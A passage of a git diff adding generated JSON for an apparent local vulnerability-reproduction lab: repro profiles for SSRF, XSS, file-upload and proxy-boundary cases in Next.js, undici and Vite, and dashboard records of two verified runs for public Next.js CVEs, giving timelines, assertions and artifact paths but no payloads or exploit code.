    +    "vuln_family": "proxy-boundary",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "Middleware trust-boundary proof is visible on the browser proof page."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed middleware boundary fixture with clean proxy state."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner performs forwarded-header proof against local fixture only."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": true
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
    +  },
    +  "nextjs-ssrf": {
    +    "profile_id": "nextjs-ssrf",
    +    "vuln_family": "ssrf",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "Local sink callback is observed from the server-side fetch path."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed local callback fixture state."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner validates sink callback without leaving local network."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": false
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
    +  },
    +  "nextjs-xss": {
    +    "profile_id": "nextjs-xss",
    +    "vuln_family": "xss",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "Browser proof page shows the XSS execution marker after the controlled payload."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed client-rendering page for XSS proof capture."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner injects inert payload and captures browser proof."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": true
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
    +  },
    +  "undici-ssrf": {
    +    "profile_id": "undici-ssrf",
    +    "vuln_family": "ssrf",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "SSRF proof endpoint confirms only local sink callbacks were performed."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed local sink-only request path."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner validates local callback using undici-style request fixture."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": false
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
    +  },
    +  "vite-file-upload": {
    +    "profile_id": "vite-file-upload",
    +    "vuln_family": "file-upload",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "Uploaded inert marker is shown on the browser proof page."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed empty upload list for dev-server proof page."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner uploads inert text marker only."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": true
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
    +  },
    +  "vite-proxy-boundary": {
    +    "profile_id": "vite-proxy-boundary",
    +    "vuln_family": "proxy-boundary",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "Proxy boundary proof banner is visible in the captured browser evidence."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed proxy boundary fixture with baseline banner."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner proves forwarded proxy boundary state change locally."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": true
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
    +  },
    +  "vite-xss": {
    +    "profile_id": "vite-xss",
    +    "vuln_family": "xss",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "Browser proof page shows the controlled XSS marker after attack."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed client render page before XSS proof capture."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner stores inert payload and validates browser proof only locally."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": true
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
       }
     }
    diff --git a/08-threat-intel/generated/dashboard/runs.json b/08-threat-intel/generated/dashboard/runs.json
    index 3950ec9c..0646ad2e 100644
    --- a/08-threat-intel/generated/dashboard/runs.json
    +++ b/08-threat-intel/generated/dashboard/runs.json
    @@ -1,4 +1,3010 @@
     [
    +  {
    +    "run_id": "nextjs-nextjs--CVE-2024-51479-20260318012913",
    +    "system_id": "nextjs",
    +    "advisory_id": "nextjs--CVE-2024-51479",
    +    "repro_profile_id": "nextjs-authz-bypass",
    +    "verification_status": "verified-real",
    +    "verification_mode": "real",
    +    "artifact_mode": "local-fixture",
    +    "target_env": "local-docker",
    +    "compose_services": [
    +      "app"
    +    ],
    +    "baseline_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/baseline.json"
    +    ],
    +    "attack_steps": [
    +      {
    +        "kind": "runner",
    +        "tool": "nextjs.authz-bypass",
    +        "status": "completed",
    +        "status_code": 200,
    +        "result_path": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json"
    +      }
    +    ],
    +    "browser_refs": [],
    +    "browser_evidence": {
    +      "required": false,
    +      "present": false,
    +      "refs": [],
    +      "baseline_refs": [],
    +      "proof_refs": [],
    +      "baseline_title": null,
    +      "proof_title": null,
    +      "error_kind": null,
    +      "reason": null
    +    },
    +    "container_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/docker/app.log"
    +    ],
    +    "request_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/baseline.json"
    +    ],
    +    "compose_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/compose/compose.yaml"
    +    ],
    +    "timeline": [
    +      {
    +        "at": "2026-03-18T01:29:13+00:00",
    +        "step": "select-advisory",
    +        "status": "completed",
    +        "detail": "nextjs--CVE-2024-51479"
    +      },
    +      {
    +        "at": "2026-03-18T01:29:13+00:00",
    +        "step": "resolve-repro-profile",
    +        "status": "completed",
    +        "detail": "nextjs-authz-bypass"
    +      },
    +      {
    +        "at": "2026-03-18T01:29:13+00:00",
    +        "step": "doctor",
    +        "status": "completed",
    +        "detail": "all checks passed"
    +      },
    +      {
    +        "at": "2026-03-18T01:29:16+00:00",
    +        "step": "provision-compose-environment",
    +        "status": "ready",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:29:16+00:00",
    +        "step": "wait-ready",
    +        "status": "completed",
    +        "detail": "baseline urls ready (1)"
    +      },
    +      {
    +        "at": "2026-03-18T01:29:16+00:00",
    +        "step": "seed-environment",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:29:16+00:00",
    +        "step": "baseline-snapshot",
    +        "status": "completed",
    +        "detail": "urls=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:29:16+00:00",
    +        "step": "controlled-attack-chain",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:29:16+00:00",
    +        "step": "collect-logs-and-evidence",
    +        "status": "completed",
    +        "detail": "container_logs=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:29:17+00:00",
    +        "step": "cleanup-compose-environment",
    +        "status": "completed",
    +        "detail": "docker compose down completed"
    +      },
    +      {
    +        "at": "2026-03-18T01:29:17+00:00",
    +        "step": "update-registry-and-reports",
    +        "status": "completed",
    +        "detail": "nextjs-nextjs--CVE-2024-51479-20260318012913"
    +      }
    +    ],
    +    "success_evaluation": {
    +      "passed": true,
    +      "verification_status": "verified-real",
    +      "blocked_reason": null,
    +      "assertions": [
    +        {
    +          "name": "baseline-ok",
    +          "kind": "baseline-ok",
    +          "passed": true,
    +          "detail": "baseline URLs responded without 5xx or transport errors"
    +        },
    +        {
    +          "name": "runner-success",
    +          "kind": "runner-success",
    +          "passed": true,
    +          "detail": "server-side authorization recheck was bypassed"
    +        }
    +      ]
    +    },
    +    "historical_status": "verified-real",
    +    "latest_status": "verified-real",
    +    "started_at": "2026-03-18T01:29:13+00:00",
    +    "finished_at": "2026-03-18T01:29:17+00:00",
    +    "blocked_reason": null,
    +    "report_refs": {
    +      "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913",
    +      "report_md": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.md",
    +      "report_html": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.html",
    +      "timeline": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/timeline.mmd"
    +    },
    +    "dashboard_refs": {
    +      "report_html": "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.html",
    +      "report_md": "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.md",
    +      "timeline": "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/timeline.mmd",
    +      "bundle": "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/run.json"
    +    },
    +    "browser_links": [],
    +    "container_links": [
    +      "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/docker/app.log"
    +    ],
    +    "request_links": [
    +      "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json",
    +      "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/baseline.json"
    +    ],
    +    "advisory_meta": {
    +      "canonical_id": "nextjs--CVE-2024-51479",
    +      "title": "Next.js authorization bypass vulnerability",
    +      "summary": "### Impact\nIf a Next.js application is performing authorization in middleware based on pathname, it was possible for this authorization to be bypassed.\n\n### Patches\nThis issue was patched in Next.js `14.2.15` and later.\n\nIf your Next.js application is hosted on Vercel, this vulnerability has been automatically mitigated, regardless of Next.js version.\n\n### Workarounds\nThere are no official workarounds for this vulnerability.\n\n#### Credits\nWe'd like to thank [tyage](http://github.com/tyage) (GMO CyberSecurity by IERAE) for responsible disclosure of this issue.",
    +      "display_name": "Next.js",
    +      "system_id": "nextjs",
    +      "category": "frameworks",
    +      "severity": "low",
    +      "cvss_score": 3.1,
    +      "exploit_status": "unknown",
    +      "published_at": "2024-12-17T15:09:06Z",
    +      "updated_at": "2025-09-10T21:12:24Z",
    +      "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-7gfc-8cq8-jh5f",
    +      "secondary_source_urls": [
    +        "https://nvd.nist.gov/vuln/detail/CVE-2024-51479",
    +        "https://github.com/vercel/next.js/commit/1c8234eb20bc8afd396b89999a00f06b61d72d7b",
    +        "https://github.com/vercel/next.js",
    +        "https://github.com/vercel/next.js/releases/tag/v14.2.15"
    +      ],
    +      "aliases": [
    +        "CVE-2024-51479",
    +        "GHSA-7gfc-8cq8-jh5f"
    +      ],
    +      "secure_code_topics": [
    +        "authz-server-side-recheck",
    +        "proxy-trust-boundary",
    +        "token-cookie-storage"
    +      ],
    +      "verification_status": "verified-real",
    +      "verification_mode": "real",
    +      "artifact_mode": "local-fixture",
    +      "blocked_reason": null,
    +      "browser_evidence": {
    +        "required": false,
    +        "present": false,
    +        "refs": []
    +      }
    +    },
    +    "profile_meta": {
    +      "profile_id": "nextjs-authz-bypass",
    +      "vuln_family": "authz-bypass",
    +      "provisioning_mode": "real",
    +      "destructive_risk": "low",
    +      "cleanup_policy": "destroy",
    +      "artifact_source": {
    +        "strategy": "local-minimal-fixture"
    +      },
    +      "success_criteria": [
    +        "Protected route is reachable only after the controlled bypass proof step."
    +      ],
    +      "seed_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Seed guest/admin route fixture for server-side recheck."
    +        }
    +      ],
    +      "attack_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Runner performs local authz bypass proof only."
    +        }
    +      ],
    +      "browser_assertions": {
    +        "required": false
    +      },
    +      "allowed_target_types": [
    +        "lab-local"
    +      ],
    +      "required_services": [
    +        "app"
    +      ]
    +    },
    +    "reasoning_lines": [
    +      "### Impact\nIf a Next.js application is performing authorization in middleware based on pathname, it was possible for this authorization to be bypassed.\n\n### Patches\nThis issue was patched in Next.js `14.2.15` and later.\n\nIf your Next.js application is hosted on Vercel, this vulnerability has been automatically mitigated, regardless of Next.js version.\n\n### Workarounds\nThere are no official workarounds for this vulnerability.\n\n#### Credits\nWe'd like to thank [tyage](http://github.com/tyage) (GMO CyberSecurity by IERAE) for responsible disclosure of this issue.",
    +      "Seed guest/admin route fixture for server-side recheck.",
    +      "Runner performs local authz bypass proof only.",
    +      "Protected route is reachable only after the controlled bypass proof step."
    +    ],
    +    "progress": {
    +      "completed": 10,
    +      "skipped": 0,
    +      "failed": 0,
    +      "blocked": 0,
    +      "planned": 0,
    +      "other": 1
    +    },
    +    "artifact_groups": [
    +      {
    +        "key": "reports",
    +        "label": "\u62a5\u544a\u4e0e\u8fd0\u884c\u4ea7\u7269",
    +        "count": 4,
    +        "items": [
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.html",
    +            "label": "report.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.md",
    +            "label": "report.md",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/timeline.mmd",
    +            "label": "timeline.mmd",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/run.json",
    +            "label": "run.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "compose",
    +        "label": "Compose \u7f16\u6392",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/compose/compose.yaml",
    +            "label": "compose.yaml",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "baseline",
    +        "label": "\u57fa\u7ebf\u5feb\u7167",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/baseline.json",
    +            "label": "baseline.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "attack",
    +        "label": "\u653b\u51fb\u8f93\u51fa",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "container",
    +        "label": "\u5bb9\u5668\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/docker/app.log",
    +            "label": "app.log",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "requests",
    +        "label": "\u8bf7\u6c42\u4e0e\u63a2\u6d4b\u65e5\u5fd7",
    +        "count": 1,
    +        "items": [
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json",
    +            "label": "attack.json",
    +            "kind": "text"
    +          }
    +        ]
    +      }
    +    ]
    +  },
    +  {
    +    "run_id": "nextjs-nextjs--CVE-2020-15242-20260318012830",
    +    "system_id": "nextjs",
    +    "advisory_id": "nextjs--CVE-2020-15242",
    +    "repro_profile_id": "nextjs-proxy-boundary",
    +    "verification_status": "verified-real",
    +    "verification_mode": "real",
    +    "artifact_mode": "local-fixture",
    +    "target_env": "local-docker",
    +    "compose_services": [
    +      "app"
    +    ],
    +    "baseline_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline.json"
    +    ],
    +    "attack_steps": [
    +      {
    +        "kind": "runner",
    +        "tool": "nextjs.proxy-boundary",
    +        "status": "completed",
    +        "status_code": 200,
    +        "result_path": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json"
    +      }
    +    ],
    +    "browser_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png",
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html",
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png",
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html",
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-console.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-network.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-page.json"
    +    ],
    +    "browser_evidence": {
    +      "required": true,
    +      "present": true,
    +      "refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-page.json"
    +      ],
    +      "baseline_refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json"
    +      ],
    +      "proof_refs": [
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-console.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-network.json",
    +        "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-page.json"
    +      ],
    +      "baseline_title": "Next.js Proxy Boundary Fixture",
    +      "proof_title": "Next.js Proxy Boundary Fixture - proof",
    +      "error_kind": null,
    +      "reason": null
    +    },
    +    "container_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/docker/app.log"
    +    ],
    +    "request_log_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json",
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline.json"
    +    ],
    +    "compose_refs": [
    +      "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/compose/compose.yaml"
    +    ],
    +    "timeline": [
    +      {
    +        "at": "2026-03-18T01:28:30+00:00",
    +        "step": "select-advisory",
    +        "status": "completed",
    +        "detail": "nextjs--CVE-2020-15242"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:30+00:00",
    +        "step": "resolve-repro-profile",
    +        "status": "completed",
    +        "detail": "nextjs-proxy-boundary"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:31+00:00",
    +        "step": "doctor",
    +        "status": "completed",
    +        "detail": "all checks passed"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:34+00:00",
    +        "step": "provision-compose-environment",
    +        "status": "ready",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:28:34+00:00",
    +        "step": "wait-ready",
    +        "status": "completed",
    +        "detail": "baseline urls ready (1)"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:34+00:00",
    +        "step": "seed-environment",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:34+00:00",
    +        "step": "baseline-snapshot",
    +        "status": "completed",
    +        "detail": "urls=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:34+00:00",
    +        "step": "browser-replay-before-attack",
    +        "status": "completed",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:28:34+00:00",
    +        "step": "controlled-attack-chain",
    +        "status": "completed",
    +        "detail": "steps=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:35+00:00",
    +        "step": "browser-replay-after-attack",
    +        "status": "completed",
    +        "detail": ""
    +      },
    +      {
    +        "at": "2026-03-18T01:28:35+00:00",
    +        "step": "collect-logs-and-evidence",
    +        "status": "completed",
    +        "detail": "container_logs=1"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:37+00:00",
    +        "step": "cleanup-compose-environment",
    +        "status": "completed",
    +        "detail": "docker compose down completed"
    +      },
    +      {
    +        "at": "2026-03-18T01:28:37+00:00",
    +        "step": "update-registry-and-reports",
    +        "status": "completed",
    +        "detail": "nextjs-nextjs--CVE-2020-15242-20260318012830"
    +      }
    +    ],
    +    "success_evaluation": {
    +      "passed": true,
    +      "verification_status": "verified-real",
    +      "blocked_reason": null,
    +      "assertions": [
    +        {
    +          "name": "baseline-ok",
    +          "kind": "baseline-ok",
    +          "passed": true,
    +          "detail": "baseline URLs responded without 5xx or transport errors"
    +        },
    +        {
    +          "name": "runner-success",
    +          "kind": "runner-success",
    +          "passed": true,
    +          "detail": "trusted forwarded headers crossed the boundary"
    +        },
    +        {
    +          "name": "browser-present",
    +          "kind": "browser-present",
    +          "passed": true,
    +          "detail": "browser evidence captured"
    +        }
    +      ]
    +    },
    +    "historical_status": "verified-real",
    +    "latest_status": "verified-real",
    +    "started_at": "2026-03-18T01:28:30+00:00",
    +    "finished_at": "2026-03-18T01:28:37+00:00",
    +    "blocked_reason": null,
    +    "report_refs": {
    +      "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830",
    +      "report_md": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.md",
    +      "report_html": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.html",
    +      "timeline": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/timeline.mmd"
    +    },
    +    "dashboard_refs": {
    +      "report_html": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.html",
    +      "report_md": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.md",
    +      "timeline": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/timeline.mmd",
    +      "bundle": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/run.json"
    +    },
    +    "browser_links": [
    +      "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png",
    +      "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html",
    +      "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json",
    +      "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json",
    +      "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json",
    +      "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png",
    +      "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html",
    +      "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-console.json",
    +      "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-network.json",
    +      "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-page.json"
    +    ],
    +    "container_links": [
    +      "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/docker/app.log"
    +    ],
    +    "request_links": [
    +      "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json",
    +      "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline.json"
    +    ],
    +    "advisory_meta": {},
    +    "profile_meta": {
    +      "profile_id": "nextjs-proxy-boundary",
    +      "vuln_family": "proxy-boundary",
    +      "provisioning_mode": "real",
    +      "destructive_risk": "low",
    +      "cleanup_policy": "destroy",
    +      "artifact_source": {
    +        "strategy": "local-minimal-fixture"
    +      },
    +      "success_criteria": [
    +        "Middleware trust-boundary proof is visible on the browser proof page."
    +      ],
    +      "seed_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Seed middleware boundary fixture with clean proxy state."
    +        }
    +      ],
    +      "attack_actions": [
    +        {
    +          "kind": "note",
    +          "message": "Runner performs forwarded-header proof against local fixture only."
    +        }
    +      ],
    +      "browser_assertions": {
    +        "required": true
    +      },
    +      "allowed_target_types": [
    +        "lab-local"
    +      ],
    +      "required_services": [
    +        "app"
    +      ]
    +    },
    +    "reasoning_lines": [
    +      "Seed middleware boundary fixture with clean proxy state.",
    +      "Runner performs forwarded-header proof against local fixture only.",
    +      "Middleware trust-boundary proof is visible on the browser proof page."
    +    ],
    +    "progress": {
    +      "completed": 12,
    +      "skipped": 0,
    +      "failed": 0,
    +      "blocked": 0,
    +      "planned": 0,
    +      "other": 1
    +    },
    +    "artifact_groups": [
    +      {
    +        "key": "reports",
    +        "label": "\u62a5\u544a\u4e0e\u8fd0\u884c\u4ea7\u7269",
    +        "count": 4,
    +        "items": [
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.html",
    +            "label": "report.html",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.md",
    +            "label": "report.md",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/timeline.mmd",
    +            "label": "timeline.mmd",
    +            "kind": "text"
    +          },
    +          {
    +            "href": "/runs/nextjs-nextjs--CVE-2020-15242-20260318012830/run.json",
    +            "label": "run.json",
    +            "kind": "text"
    +          }
    +        ]
    +      },
    +      {
    +        "key": "compose",
    +        "label": "Compose \u7f16\u6392",
    +        "count": 1,
    +        "items": [
    +          {
